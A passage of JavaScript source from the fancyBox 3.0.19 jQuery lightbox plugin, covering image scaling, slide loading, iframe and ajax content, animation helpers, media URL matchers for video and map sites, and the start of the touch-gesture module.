// Scale image to the actual size of the image
// ===========================================
scaleToActual : function( x, y, duration ) {
var self = this;
var current = self.current;
var $what = current.$placeholder;
var imgPos, posX, posY, scaleX, scaleY;
var canvasWidth = parseInt( current.$slide.width(), 10 );
var canvasHeight = parseInt( current.$slide.height(), 10 );
var newImgWidth = current.width;
var newImgHeight = current.height;
if ( !$what ) {
return;
}
self.isAnimating = true;
x = x === undefined ? canvasWidth * 0.5 : x;
y = y === undefined ? canvasHeight * 0.5 : y;
imgPos = $.fancybox.getTranslate( $what );
scaleX = newImgWidth / imgPos.width;
scaleY = newImgHeight / imgPos.height;
// Get center position for original image
posX = ( canvasWidth * 0.5 - newImgWidth * 0.5 );
posY = ( canvasHeight * 0.5 - newImgHeight * 0.5 );
// Make sure image does not move away from edges
if ( newImgWidth > canvasWidth ) {
posX = imgPos.left * scaleX - ( ( x * scaleX ) - x );
if ( posX > 0 ) {
posX = 0;
}
if ( posX < canvasWidth - newImgWidth ) {
posX = canvasWidth - newImgWidth;
}
}
if ( newImgHeight > canvasHeight) {
posY = imgPos.top * scaleY - ( ( y * scaleY ) - y );
if ( posY > 0 ) {
posY = 0;
}
if ( posY < canvasHeight - newImgHeight ) {
posY = canvasHeight - newImgHeight;
}
}
self.updateCursor( newImgWidth, newImgHeight );
$.fancybox.animate( $what, {
top : imgPos.top,
left : imgPos.left,
width : newImgWidth,
height : newImgHeight,
scaleX : imgPos.width / newImgWidth,
scaleY : imgPos.height / newImgHeight
}, {
top : posY,
left : posX,
scaleX : 1,
scaleY : 1
}, duration || current.opts.speed, function() {
self.isAnimating = false;
});
},
// Scale image to fit inside parent element
// ========================================
scaleToFit : function( duration ) {
var self = this;
var current = self.current;
var $what = current.$placeholder;
var end;
if ( !$what ) {
return;
}
self.isAnimating = true;
end = self.getFitPos( current );
self.updateCursor( end.width, end.height );
$.fancybox.animate( $what, null, {
top : end.top,
left : end.left,
scaleX : end.width / $what.width(),
scaleY : end.height / $what.height()
}, duration || current.opts.speed, function() {
self.isAnimating = false;
});
},
// Calculate image size to fit inside viewport
// ===========================================
getFitPos : function( slide ) {
var $what = slide.$placeholder || slide.$content;
var imgWidth = slide.width;
var imgHeight = slide.height;
var margin = slide.opts.margin;
var canvasWidth, canvasHeight, minRatio, top, left, width, height;
if ( !$what || !$what.length || ( !imgWidth && !imgHeight) ) {
return false;
}
// Convert "margin to CSS style: [ top, right, bottom, left ]
if ( $.type( margin ) === "number" ) {
margin = [ margin, margin ];
}
if ( margin.length == 2 ) {
margin = [ margin[0], margin[1], margin[0], margin[1] ];
}
if ( $W.width() < 800 ) {
margin = [0, 0, 0, 0];
}
canvasWidth = parseInt( slide.$slide.width(), 10 ) - ( margin[ 1 ] + margin[ 3 ] );
canvasHeight = parseInt( slide.$slide.height(), 10 ) - ( margin[ 0 ] + margin[ 2 ] );
minRatio = Math.min(1, canvasWidth / imgWidth, canvasHeight / imgHeight );
// Use floor rounding to make sure it really fits
width = Math.floor( minRatio * imgWidth );
height = Math.floor( minRatio * imgHeight );
top = Math.floor( ( canvasHeight - height ) * 0.5 ) + margin[ 0 ];
left = Math.floor( ( canvasWidth - width ) * 0.5 ) + margin[ 3 ];
return {
top : top,
left : left,
width : width,
height : height
};
},
// Move slider to current position
// Update all slides (and their content)
// =====================================
update : function( andSlides, andContent, duration, callback ) {
var self = this;
var leftValue = ( self.current.pos * Math.floor( self.current.$slide.width() ) * -1 ) - ( self.current.pos * self.current.opts.gutter ) ;
if ( self.isOpening === true ) {
return;
}
duration = parseInt( duration, 10 ) || 0;
$.fancybox.stop( self.$refs.slider );
if ( andSlides === false ) {
self.updateSlide( self.current, andContent );
} else {
$.each( self.slides, function( key, slide ) {
self.updateSlide( slide, andContent );
});
}
if ( duration ) {
$.fancybox.animate( self.$refs.slider, null, {
top : 0,
left : leftValue
}, duration, function() {
self.current.isMoved = true;
if ( $.type( callback ) === 'function' ) {
callback.apply( self );
}
});
} else {
$.fancybox.setTranslate( self.$refs.slider, { left : leftValue } );
if ( $.type( callback ) === 'function' ) {
callback.apply( self );
}
}
self.updateCursor();
},
// Update slide position and scale content to fit
// ==============================================
updateSlide : function( slide, andContent ) {
var self = this;
var $what = slide.$placeholder;
slide = slide || self.current;
if ( !slide || self.isClosing ) {
return;
}
$.fancybox.setTranslate( slide.$slide, { left : ( slide.pos * Math.floor( slide.$slide.width() ) ) + ( slide.pos * slide.opts.gutter) } );
if ( andContent !== false && $what ) {
$.fancybox.setTranslate( $what, self.getFitPos( slide ) );
}
slide.$slide.trigger( 'refresh' );
self.trigger( 'onUpdate', slide );
},
// Update cursor style depending if content can be zoomed
// ======================================================
updateCursor : function( nextWidth, nextHeight ) {
var self = this;
var canScale;
var $container = self.$refs.container.removeClass('fancybox-controls--canzoomIn fancybox-controls--canzoomOut fancybox-controls--canGrab');
if ( self.isClosing || !self.opts.touch ) {
return;
}
if ( nextWidth !== undefined && nextHeight !== undefined ) {
canScale = nextWidth < self.current.width && nextHeight < self.current.height;
} else {
canScale = self.isScaledDown();
}
if ( canScale ) {
$container.addClass('fancybox-controls--canzoomIn');
} else if ( self.group.length < 2 ) {
$container.addClass('fancybox-controls--canzoomOut');
} else {
$container.addClass('fancybox-controls--canGrab');
}
},
// Load content into the slide
// ===========================
loadSlide : function( slide ) {
var self = this, type, $slide;
var ajaxLoad;
if ( !slide ) {
return false;
}
if ( slide.isLoading ) {
return;
}
self.trigger( 'beforeLoad', slide );
type = slide.type;
$slide = slide.$slide;
$slide
.unbind( 'refresh' )
.trigger( 'onReset' )
.addClass( 'fancybox-slide--' + ( type || 'unknown' ) )
.addClass( slide.opts.slideClass );
slide.isLoading = true;
// Create content depending on the type
switch ( type ) {
case 'image':
self.setImage( slide );
break;
case 'iframe':
self.setIframe( slide );
break;
case 'html':
self.setContent( slide, slide.content );
break;
case 'inline':
if ( $( slide.src ).length ) {
self.setContent( slide, $( slide.src ) );
} else {
self.setError( slide );
}
break;
case 'ajax':
self.showLoading( slide );
ajaxLoad = $.ajax( $.extend( {}, slide.opts.ajax.settings, {
url: slide.src,
success: function ( data, textStatus ) {
if ( textStatus === 'success' ) {
self.setContent( slide, data );
}
},
error: function ( jqXHR, textStatus ) {
if ( jqXHR && textStatus !== 'abort' ) {
self.setError( slide );
}
}
}));
$slide.one( 'onReset', function () {
ajaxLoad.abort();
});
break;
default:
self.setError( slide );
break;
}
return true;
},
// Use thumbnail image, if possible
// ================================
setImage : function( slide ) {
var self = this;
if ( slide.isLoaded && !slide.hasError ) {
self.afterLoad( slide );
return;
}
slide.$placeholder = $('<div class="fancybox-placeholder"></div>').hide().prependTo( slide.$slide );
if ( slide.opts.preload !== false && slide.opts.width && slide.opts.height && ( slide.opts.thumb || slide.opts.$thumb ) ) {
slide.width = slide.opts.width;
slide.height = slide.opts.height;
slide.$ghost = $('<img />')
.addClass( 'fancybox-image' )
.one('load error', function() {
if ( self.isClosing ) {
return;
}
$( this ).appendTo( slide.$placeholder );
// Start preloading full size image
$('<img/>')[0].src = slide.src;
// Check if we can perform zoom-in animation
if ( !self.allowZoomIn || !( slide.index === self.currIndex && self.zoomIn() ) ) {
self.isOpening = false;
self.updateSlide( slide, true );
slide.$placeholder.show();
self.setBigImage( slide );
}
})
.attr( 'src', slide.opts.thumb || slide.opts.$thumb.attr( 'src' ) );
} else {
self.setBigImage( slide );
}
},
// Create full-size image
// ======================
setBigImage : function ( slide ) {
var self = this;
var $img = $('<img />');
if ( slide.opts.image.protect ) {
$('<div class="fancybox-spaceball"></div>').appendTo( slide.$placeholder );
}
$img.one('error', function() {
self.setError( slide );
}).one('load', function() {
if ( self.isClosing ) {
return;
}
slide.$image = $img.addClass('fancybox-image').appendTo( slide.$placeholder );
slide.width = this.naturalWidth;
slide.height = this.naturalHeight;
self.afterLoad( slide );
if ( slide.$ghost ) {
slide.timouts = setTimeout(function() {
slide.$ghost.hide();
}, 300);
}
}).attr('src', slide.src);
if ( $img[0].complete ) {
$img.trigger('load');
} else if( $img[0].error ) {
$img.trigger('error');
} else {
slide.timouts = setTimeout(function() {
if ( !$img[0].complete ) {
self.showLoading( slide );
}
}, 150);
}
},
// Simply show image holder without animation
// It has been hidden initially to avoid flickering
// ================================================
revealImage : function( slide ) {
if ( slide.$placeholder ) {
slide.$placeholder.show();
if ( slide.index === this.currIndex ) {
this.updateCursor();
}
}
},
// Create iframe wrapper, iframe and bindings
// ==========================================
setIframe : function( slide ) {
var self = this,
opts = slide.opts.iframe,
$slide = slide.$slide,
$iframe;
slide.$content = $('<div class="fancybox-content"></div>')
.css( opts.css )
.appendTo( $slide );
$iframe = $( opts.tpl.replace(/\{rnd\}/g, new Date().getTime()) )
.attr('scrolling', $.fancybox.isTouch ? 'auto' : opts.scrolling)
.appendTo( slide.$content );
if ( opts.preload ) {
slide.$content.addClass( 'fancybox-tmp' );
self.showLoading( slide );
// Unfortunately, it is not always possible to determine if iframe is successfully loaded
// (due to browser security policy)
$iframe.on('load.fb error.fb', function(e) {
this.isReady = 1;
slide.$slide.trigger( 'refresh' );
self.afterLoad( slide );
});
// Recalculate iframe content size
$slide.on('refresh.fb', function() {
var $wrap = slide.$content,
$contents,
$body,
scrollWidth,
frameWidth,
frameHeight;
if ( $iframe[0].isReady !== 1 ) {
return;
}
// Check if content is accessible,
// it will fail if frame is not with the same origin
try {
$contents = $iframe.contents();
$body = $contents.find('body');
} catch (ignore) {}
// Calculate dimensions for the wrapper
if ( $body && $body.length && !( opts.css.width !== undefined && opts.css.height !== undefined ) ) {
scrollWidth = $iframe[0].contentWindow.document.documentElement.scrollWidth;
frameWidth = Math.ceil( $body.outerWidth(true) + ( $wrap.width() - scrollWidth ) );
frameHeight = Math.ceil( $body.outerHeight(true) );
// Resize wrapper to fit iframe content
$wrap.css({
'width' : opts.css.width === undefined ? frameWidth + ( $wrap.outerWidth() - $wrap.innerWidth() ) : opts.css.width,
'height' : opts.css.height === undefined ? frameHeight + ( $wrap.outerHeight() - $wrap.innerHeight() ) : opts.css.height
});
}
$wrap.removeClass( 'fancybox-tmp' );
});
} else {
this.afterLoad( slide );
}
$iframe.attr( 'src', slide.src );
if ( slide.opts.smallBtn ) {
slide.$content.prepend( slide.opts.closeTpl );
}
// Remove iframe if closing or changing gallery item
$slide.one('onReset', function () {
// This helps IE not to throw errors when closing
try {
$(this).find('iframe').hide().attr('src', '//about:blank');
} catch (ignore) {}
$(this).empty();
});
},
// Wrap and append content to the slide
// ======================================
setContent : function ( slide, content ) {
var self = this;
if ( self.isClosing ) {
return;
}
self.hideLoading( slide );
slide.$slide.empty();
if ( isQuery( content ) && content.parent().length ) {
// If it is a jQuery object, then it will be moved to the box.
// The placeholder is created so we will know where to put it back.
// If user is navigating gallery fast, then the content might be already moved to the box
if ( content.data( 'placeholder' ) ) {
content.parents('.fancybox-slide').trigger( 'onReset' );
}
content.data({'placeholder' : $('<div></div>' ).hide().insertAfter( content ) }).css('display', 'inline-block');
} else {
if ( $.type( content ) === 'string' ) {
content = $('<div>').append( content ).contents();
if ( content[0].nodeType === 3 ) {
content = $('<div>').html( content );
}
}
if ( slide.opts.selector ) {
content = $('<div>').html( content ).find( slide.opts.selector );
}
}
slide.$slide.one('onReset', function () {
var placeholder = isQuery( content ) ? content.data('placeholder') : 0;
if ( placeholder ) {
content.hide().replaceAll( placeholder );
content.data( 'placeholder', null );
}
$(this).empty();
slide.isLoaded = false;
});
slide.$content = $( content ).appendTo( slide.$slide );
if ( slide.opts.smallBtn === true ) {
slide.$content.find( '.fancybox-close-small' ).remove().end().eq(0).append( slide.opts.closeTpl );
}
this.afterLoad( slide );
},
// Display error message
// =====================
setError : function ( slide ) {
slide.hasError = true;
this.setContent( slide, slide.opts.errorTpl );
},
showLoading : function( slide ) {
var self = this;
slide = slide || self.current;
if ( slide && !slide.$spinner ) {
slide.$spinner = $( self.opts.spinnerTpl ).appendTo( slide.$slide );
}
},
hideLoading : function( slide ) {
var self = this;
slide = slide || self.current;
if ( slide && slide.$spinner ) {
slide.$spinner.remove();
delete slide.$spinner;
}
},
afterMove : function() {
var self = this;
var current = self.current;
if ( !current ) {
return;
}
current.isMoved = true;
current.$slide.siblings().trigger( 'onReset' );
// Remove unnecessary slides
$.each( self.slides, function( key, slide ) {
// Leave current and neighbouring slides
if ( slide.pos < self.currPos - 1 || slide.pos > self.currPos + 1 ) {
slide.$slide.remove();
delete self.slides[ key ];
}
});
self.trigger( 'afterMove' );
if ( current.isLoaded ) {
self.complete();
}
},
// Adjustments after slide has been loaded
// =======================================
afterLoad : function( slide ) {
var self = this;
if ( self.isClosing ) {
return;
}
slide.isLoading = false;
slide.isLoaded = true;
self.trigger( 'afterLoad', slide );
self.hideLoading( slide );
// Resize content to fit inside slide
// Do not update in case we have $ghost element - user might have already zoomed/swiped
if ( !slide.$ghost ) {
self.updateSlide( slide, true );
}
if ( slide.index === self.currIndex ) {
if ( slide.isMoved ) {
self.complete();
} else {
self.revealImage( slide );
}
// Load next and previous image if needed
if ( self.slides[ self.currPos + 1 ] && self.slides[ self.currPos + 1 ].type === 'image' ) {
self.loadSlide( self.slides[ self.currPos + 1 ] );
}
if ( self.slides[ self.currPos - 1 ] && self.slides[ self.currPos - 1 ].type === 'image' ) {
self.loadSlide( self.slides[ self.currPos - 1 ] );
}
} else {
self.revealImage( slide );
}
},
// Final adjustments after current gallery item is moved to position
// and it`s content is loaded
// ==================================================================
complete : function() {
var self = this;
var curent = self.current;
curent.isComplete = true;
self.trigger( 'onComplete' );
if ( !(self.allowZoomIn && self.zoomIn() ) ) {
self.isOpening = false;
self.revealImage( curent );
}
curent.$slide.addClass('fancybox-slide--complete');
if ( self.opts.focus ) {
self.focus();
}
},
// Try to find and focus on the first focusable element
// ====================================================
focus : function() {
var $el = this.current && this.current.isComplete ? this.current.$slide.find('button,:input,[tabindex],a:not(".disabled")').filter(':visible:first') : null;
if ( !$el || !$el.length ) {
$el = this.$refs.container;
}
$el.focus();
// Scroll position of wrapper element sometimes changes after focusing (IE)
this.$refs.slider_wrap.scrollLeft(0);
// And the same goes for slide element
if ( this.current ) {
this.current.$slide.scrollTop(0);
}
},
// Activates current instance - brings container to the front and enables keyboard,
// notifies other instances about deactivating
// =================================================================================
activate : function () {
var self = this;
// Deactivate all instances
$( '.fancybox-container' ).each(function () {
var instance = $(this).data( 'FancyBox' );
// Skip self and closing instances
if (instance && instance.uid !== self.uid && !instance.isClosing) {
instance.trigger( 'onDeactivate' );
}
});
if ( self.current ) {
if ( self.$refs.container.index() > 0 ) {
self.$refs.container.prependTo( document.body );
}
self.updateControls();
}
self.trigger( 'onActivate' );
self.addEvents();
},
// Start closing procedure
// This will start "zoom-out" animation if needed and clean everything up afterwards
// =================================================================================
close : function( e ) {
var self = this;
var current = self.current;
var done = $.proxy(function() {
self.cleanUp( e ); // Now "this" is again our instance
}, this);
if ( self.isAnimating || self.isClosing ) {
return false;
}
self.isClosing = true;
if ( current.timouts ) {
clearTimeout( current.timouts );
}
if ( e !== true) {
$.fancybox.stop( self.$refs.slider );
}
self.$refs.container
.removeClass('fancybox-container--active')
.addClass('fancybox-container--closing');
current.$slide
.removeClass('fancybox-slide--complete')
.siblings()
.remove();
if ( !current.isMoved ) {
current.$slide.css('overflow', 'visible');
}
// Remove all events
// If there are multiple instances, they will be set again by "activate" method
self.removeEvents();
// Clean up
self.hideLoading( current );
self.hideControls();
self.updateCursor();
self.trigger( 'beforeClose', current, e );
if ( e === true) {
setTimeout( done, current.opts.speed );
this.$refs.container.removeClass( 'fancybox-container--ready' );
} else if ( !self.zoomOut( done ) ) {
$.fancybox.animate( self.$refs.container, null, { opacity : 0 }, current.opts.speed, "easeInSine", done );
}
},
// Final adjustments after removing the instance
// =============================================
cleanUp : function( e ) {
var self = this,
instance;
self.$refs.slider.children().trigger( 'onReset' );
self.$refs.container.empty().remove();
self.current = null;
self.trigger( 'afterClose', e);
// Check if there are other instances
instance = $.fancybox.getInstance();
if ( instance ) {
instance.activate();
} else {
$( 'body' ).removeClass( 'fancybox-enabled' );
$( '#fancybox-noscroll' ).remove();
}
// Place back focus
if ( self.$lastFocus ) {
self.$lastFocus.focus();
}
$W.scrollTop( self.scrollTop ).scrollLeft( self.scrollLeft );
},
// Call callback and trigger an event
// ==================================
trigger : function( name, slide ) {
var args = Array.prototype.slice.call(arguments, 1),
self = this,
obj = slide && slide.opts ? slide : self.current;
if ( obj ) {
args.unshift( obj );
} else {
obj = self;
}
args.unshift( self );
if ( $.isFunction( obj.opts[ name ] ) ) {
obj.opts[ name ].apply( obj, args );
}
self.$refs.container.trigger( name + '.fb', args);
},
// Toggle toolbar and caption
// ==========================
toggleControls : function( force ) {
if ( this.isHiddenControls ) {
this.updateControls( force );
} else {
this.hideControls();
}
},
// Hide toolbar and caption
// ========================
hideControls : function () {
this.isHiddenControls = true;
this.$refs.container.removeClass('fancybox-show-controls');
this.$refs.container.removeClass('fancybox-show-caption');
},
// Update infobar values, navigation button states and reveal caption
// ==================================================================
updateControls : function ( force ) {
var self = this;
var $container = self.$refs.container;
var $caption = self.$refs.caption;
// Toggle infobar and buttons
var current = self.current;
var index = current.index;
var opts = current.opts;
var caption = opts.caption;
if ( this.isHiddenControls && force !== true ) {
return;
}
this.isHiddenControls = false;
self.$refs.container.addClass('fancybox-show-controls');
$container
.toggleClass('fancybox-show-infobar', !!opts.infobar && self.group.length > 1)
.toggleClass('fancybox-show-buttons', !!opts.buttons )
.toggleClass('fancybox-is-modal', !!opts.modal );
$('.fancybox-button--left', $container).toggleClass( 'fancybox-button--disabled', (!opts.loop && index <= 0 ) );
$('.fancybox-button--right', $container).toggleClass( 'fancybox-button--disabled', (!opts.loop && index >= self.group.length - 1) );
$('.fancybox-button--play', $container).toggle( !!( opts.slideShow && self.group.length > 1) );
$('.fancybox-button--close', $container).toggle( !!opts.closeBtn );
// Update infobar values
$('.js-fancybox-count', $container).html( self.group.length );
$('.js-fancybox-index', $container).html( index + 1 );
// Recalculate content dimensions
current.$slide.trigger( 'refresh' );
// Reveal or create new caption
if ( $caption ) {
$caption.empty();
}
if ( caption && caption.length ) {
$caption.html( caption );
this.$refs.container.addClass( 'fancybox-show-caption ');
self.$caption = $caption;
} else {
this.$refs.container.removeClass( 'fancybox-show-caption' );
}
}
});
$.fancybox = {
version : "3.0.19",
defaults : defaults,
// Get current instance and execute a command.
//
// Examples of usage:
//
// $instance = $.fancybox.getInstance();
// $.fancybox.getInstance().jumpTo( 1 );
// $.fancybox.getInstance( 'jumpTo', 1 );
// $.fancybox.getInstance( function() {
// console.info( this.currIndex );
// });
// ======================================================
getInstance : function ( command ) {
var instance = $('.fancybox-container:not(".fancybox-container--closing"):first').data( 'FancyBox' );
var args = Array.prototype.slice.call(arguments, 1);
if ( instance instanceof FancyBox ) {
if ( $.type( command ) === 'string' ) {
instance[ command ].apply( instance, args );
} else if ( $.type( command ) === 'function' ) {
command.apply( instance, args );
}
return instance;
}
return false;
},
// Create new instance
// ===================
open : function ( items, opts, index ) {
return new FancyBox( items, opts, index );
},
// Close current or all instances
// ==============================
close : function ( all ) {
var instance = this.getInstance();
if ( instance ) {
instance.close();
// Try to find and close next instance
if ( all === true ) {
this.close();
}
}
},
// Test for the existence of touch events in the browser
// Limit to mobile devices
// ====================================================
isTouch : document.createTouch !== undefined && /Android|webOS|iPhone|iPad|iPod|BlackBerry/i.test(navigator.userAgent),
// Detect if 'translate3d' support is available
// ============================================
use3d : (function() {
var div = document.createElement('div');
return window.getComputedStyle( div ).getPropertyValue('transform') && !(document.documentMode && document.documentMode <= 11);
}()),
// Helper function to get current visual state of an element
// returns array[ top, left, horizontal-scale, vertical-scale, opacity ]
// =====================================================================
getTranslate : function( $el ) {
var position, matrix;
if ( !$el || !$el.length ) {
return false;
}
position = $el.get( 0 ).getBoundingClientRect();
matrix = $el.eq( 0 ).css('transform');
if ( matrix && matrix.indexOf( 'matrix' ) !== -1 ) {
matrix = matrix.split('(')[1];
matrix = matrix.split(')')[0];
matrix = matrix.split(',');
} else {
matrix = [];
}
if ( matrix.length ) {
// If IE
if ( matrix.length > 10 ) {
matrix = [ matrix[13], matrix[12], matrix[0], matrix[5] ];
} else {
matrix = [ matrix[5], matrix[4], matrix[0], matrix[3]];
}
matrix = matrix.map(parseFloat);
} else {
matrix = [ 0, 0, 1, 1 ];
}
return {
top : matrix[ 0 ],
left : matrix[ 1 ],
scaleX : matrix[ 2 ],
scaleY : matrix[ 3 ],
opacity : parseFloat( $el.css('opacity') ),
width : position.width,
height : position.height
};
},
// Shortcut for setting "translate3d" properties for element
// Can set be used to set opacity, too
// ========================================================
setTranslate : function( $el, props ) {
var str = '';
var css = {};
if ( !$el || !props ) {
return;
}
if ( props.left !== undefined || props.top !== undefined ) {
str = ( props.left === undefined ? $el.position().top : props.left ) + 'px, ' + ( props.top === undefined ? $el.position().top : props.top ) + 'px';
if ( this.use3d ) {
str = 'translate3d(' + str + ', 0px)';
} else {
str = 'translate(' + str + ')';
}
}
if ( props.scaleX !== undefined && props.scaleY !== undefined ) {
str = (str.length ? str + ' ' : '') + 'scale(' + props.scaleX + ', ' + props.scaleY + ')';
}
if ( str.length ) {
css.transform = str;
}
if ( props.opacity !== undefined ) {
css.opacity = props.opacity;
}
if ( props.width !== undefined ) {
css.width = props.width;
}
if ( props.height !== undefined ) {
css.height = props.height;
}
return $el.css( css );
},
// Common easings for entrances and exits
// t: current time, b: begInnIng value, c: change In value, d: duration
// ====================================================================
easing : {
easeOutCubic : function (t, b, c, d) {
return c * ((t=t/d-1)*t*t + 1) + b;
},
easeInCubic : function (t, b, c, d) {
return c * (t/=d)*t*t + b;
},
easeOutSine : function (t, b, c, d) {
return c * Math.sin(t/d * (Math.PI/2)) + b;
},
easeInSine : function (t, b, c, d) {
return -c * Math.cos(t/d * (Math.PI/2)) + c + b;
}
},
// Stop fancyBox animation
// =======================
stop : function( $el ) {
$el.removeData( 'animateID' );
},
// Animate element using "translate3d"
// Usage:
// animate( element, start properties, end properties, duration, easing, callback )
// or
// animate( element, start properties, end properties, duration, callback )
// =================================================================================
animate : function( $el, from, to, duration, easing, done ) {
var self = this;
var lastTime = null;
var animTime = 0;
var curr;
var diff;
var id;
var frame = function ( timestamp ) {
curr = [];
diff = 0;
// If "stop" method has been called on this element, then just stop
if ( !$el.length || $el.data( 'animateID' ) !== id ) {
return;
}
timestamp = timestamp || Date.now();
if ( lastTime ) {
diff = timestamp - lastTime;
}
lastTime = timestamp;
animTime += diff;
// Are we done?
if ( animTime >= duration ) {
if ( to.scaleX !== undefined && to.scaleY !== undefined && from.width !== undefined && from.height !== undefined ) {
to.width = from.width * to.scaleX;
to.height = from.height * to.scaleY;
to.scaleX = 1;
to.scaleY = 1;
}
self.setTranslate( $el, to );
done();
return;
}
for ( var prop in to ) {
if ( to.hasOwnProperty( prop ) && from[ prop ] !== undefined ) {
if ( from[ prop ] == to[ prop ] ) {
curr[ prop ] = to[ prop ];
} else {
curr[ prop ] = self.easing[ easing ]( animTime, from[ prop ], to[ prop ] - from[ prop ], duration );
}
}
}
self.setTranslate( $el, curr );
requestAFrame( frame );
};
self.animateID = id = self.animateID === undefined ? 1 : self.animateID + 1;
$el.data( 'animateID', id );
if ( done === undefined && $.type(easing) == 'function' ) {
done = easing;
easing = undefined;
}
if ( !easing ) {
easing = "easeOutCubic";
}
done = done || $.noop;
if ( !duration ) {
this.setTranslate( $el, to );
done();
return;
}
if ( from ) {
this.setTranslate( $el, from );
} else {
// We need current values to calculate change in time
from = this.getTranslate( $el );
}
$el.show();
requestAFrame( frame );
}
};
// Event handler for click event to "fancyboxed" links
// ===================================================
function _run( e ) {
var target = e.currentTarget,
opts = e.data ? e.data.options : {},
items = e.data ? e.data.items : [],
value = '',
index = 0;
e.preventDefault();
e.stopPropagation();
// Get all related items and find index for clicked one
if ( $(target).attr( 'data-fancybox' ) ) {
value = $(target).data( 'fancybox' );
}
if ( value ) {
items = items.length ? items.filter( '[data-fancybox="' + value + '"]' ) : $( '[data-fancybox=' + value + ']' );
index = items.index( target );
} else {
items = [ target ];
}
$.fancybox.open( items, opts, index );
}
// Create a jQuery plugin
// ======================
$.fn.fancybox = function (options) {
this.off('click.fb-start').on('click.fb-start', {
items : this,
options : options || {}
}, _run);
return this;
};
// Self initializing plugin
// ========================
$(document).on('click.fb-start', '[data-fancybox]', _run);
}(window, document, window.jQuery));
// ==========================================================================
//
// Media
// Adds additional media type support
//
// ==========================================================================
;(function ($) {
'use strict';
// Formats matching url to final form
var format = function (url, rez, params) {
if (!url) {
return;
}
params = params || '';
if ($.type(params) === "object") {
params = $.param(params, true);
}
$.each(rez, function (key, value) {
url = url.replace('$' + key, value || '');
});
if (params.length) {
url += (url.indexOf('?') > 0 ? '&' : '?') + params;
}
return url;
};
// Object containing properties for each media type
var media = {
youtube: {
matcher: /(youtube\.com|youtu\.be|youtube\-nocookie\.com)\/(watch\?(.*&)?v=|v\/|u\/|embed\/?)?(videoseries\?list=(.*)|[\w-]{11}|\?listType=(.*)&list=(.*))(.*)/i,
params: {
autoplay: 1,
autohide: 1,
fs: 1,
rel: 0,
hd: 1,
wmode: 'transparent',
enablejsapi: 1,
html5: 1
},
paramPlace : 8,
type: 'iframe',
url: '//www.youtube.com/embed/$4',
thumb: '//img.youtube.com/vi/$4/hqdefault.jpg'
},
vimeo: {
matcher: /((player\.)?vimeo(pro)?\.com)\/(video\/)?([\d]+)?(\?(.*))?/,
params: {
autoplay: 1,
hd: 1,
show_title: 1,
show_byline: 1,
show_portrait: 0,
fullscreen: 1,
api: 1
},
paramPlace : 7,
type: 'iframe',
url: '//player.vimeo.com/video/$5'
},
metacafe: {
matcher: /metacafe.com\/watch\/(\d+)\/(.*)?/,
type: 'iframe',
url: '//www.metacafe.com/embed/$1/?ap=1'
},
dailymotion: {
matcher: /dailymotion.com\/video\/(.*)\/?(.*)/,
params: {
additionalInfos: 0,
autoStart: 1
},
type: 'iframe',
url: '//www.dailymotion.com/embed/video/$1'
},
vine: {
matcher: /vine.co\/v\/([a-zA-Z0-9\?\=\-]+)/,
type: 'iframe',
url: '//vine.co/v/$1/embed/simple'
},
instagram: {
matcher: /(instagr\.am|instagram\.com)\/p\/([a-zA-Z0-9_\-]+)\/?/i,
type: 'image',
url: '//$1/p/$2/media/?size=l'
},
// Examples:
// http://maps.google.com/?ll=48.857995,2.294297&spn=0.007666,0.021136&t=m&z=16
// http://maps.google.com/?ll=48.857995,2.294297&spn=0.007666,0.021136&t=m&z=16
// https://www.google.lv/maps/place/Googleplex/@37.4220041,-122.0833494,17z/data=!4m5!3m4!1s0x0:0x6c296c66619367e0!8m2!3d37.4219998!4d-122.0840572
google_maps: {
matcher: /(maps\.)?google\.([a-z]{2,3}(\.[a-z]{2})?)\/(((maps\/(place\/(.*)\/)?\@(.*),(\d+.?\d+?)z))|(\?ll=))(.*)?/i,
type: 'iframe',
url: function (rez) {
return '//maps.google.' + rez[2] + '/?ll=' + ( rez[9] ? rez[9] + '&z=' + Math.floor( rez[10] ) + ( rez[12] ? rez[12].replace(/^\//, "&") : '' ) : rez[12] ) + '&output=' + ( rez[12] && rez[12].indexOf('layer=c') > 0 ? 'svembed' : 'embed' );
}
}
};
$(document).on('onInit.fb', function (e, instance) {
$.each(instance.group, function( i, item ) {
var url = item.src || '',
type = false,
thumb,
rez,
params,
urlParams,
o,
id,
provider;
// Skip items that already have content type
if ( item.type ) {
return;
}
// Look for any matching media type
$.each(media, function ( n, el ) {
rez = url.match(el.matcher);
o = {};
provider = n;
if (!rez) {
return;
}
type = el.type;
if ( el.paramPlace && rez[ el.paramPlace ] ) {
urlParams = rez[ el.paramPlace ];
if ( urlParams[ 0 ] == '?') {
urlParams = urlParams.substring(1);
}
urlParams = urlParams.split('&');
for ( var m = 0; m < urlParams.length; ++m ) {
var p = urlParams[ m ].split('=', 2);
if ( p.length == 2 ) {
o[ p[0] ] = decodeURIComponent( p[1].replace(/\+/g, " ") );
}
}
}
if ( el.idPlace ) {
id = rez[ el.idPlace ];
}
params = $.extend( true, {}, el.params, item.opts[ n ], o );
url = $.type(el.url) === "function" ? el.url.call(this, rez, params, item) : format(el.url, rez, params);
thumb = $.type(el.thumb) === "function" ? el.thumb.call(this, rez, params, item) : format(el.thumb, rez);
return false;
});
// If it is found, then change content type and update the url
if ( type ) {
item.src = url;
item.type = type;
if ( !item.opts.thumb && !(item.opts.$thumb && item.opts.$thumb.length ) ) {
item.opts.thumb = thumb;
}
if ( id ) {
item.opts.id = provider + '-' + id;
}
if ( type === 'iframe' ) {
$.extend(true, item.opts, {
iframe : {
preload : false,
scrolling : "no"
},
smallBtn : false,
closeBtn : true,
fullScreen : false,
slideShow : false
});
item.opts.slideClass += ' fancybox-slide--video';
}
} else {
// If no content type is found, then set it to `iframe` as fallback
item.type = 'iframe';
}
});
});
}(window.jQuery));
// ==========================================================================
//
// Guestures
// Adds touch guestures, handles click and tap events
//
// ==========================================================================
;(function (window, document, $) {
'use strict';
var requestAFrame = (function() {
return window.requestAnimationFrame ||
window.webkitRequestAnimationFrame ||
window.mozRequestAnimationFrame ||
function( callback ) {
window.setTimeout(callback, 1000 / 60); };
})();
var pointers = function( e ) {
var result = [];
e = e.originalEvent || e || window.e;
e = e.touches && e.touches.length ? e.touches : ( e.changedTouches && e.changedTouches.length ? e.changedTouches : [ e ] );
for ( var key in e ) {
if ( e[ key ].pageX ) {
result.push( { x : e[ key ].pageX, y : e[ key ].pageY } );
} else if ( e[ key ].clientX ) {
result.push( { x : e[ key ].clientX, y : e[ key ].clientY } );
}
}
return result;
};
var distance = function( point2, point1, what ) {
if ( what === 'x' ) {
return point2.x - point1.x;
} else if ( what === 'y' ) {
return point2.y - point1.y;
}
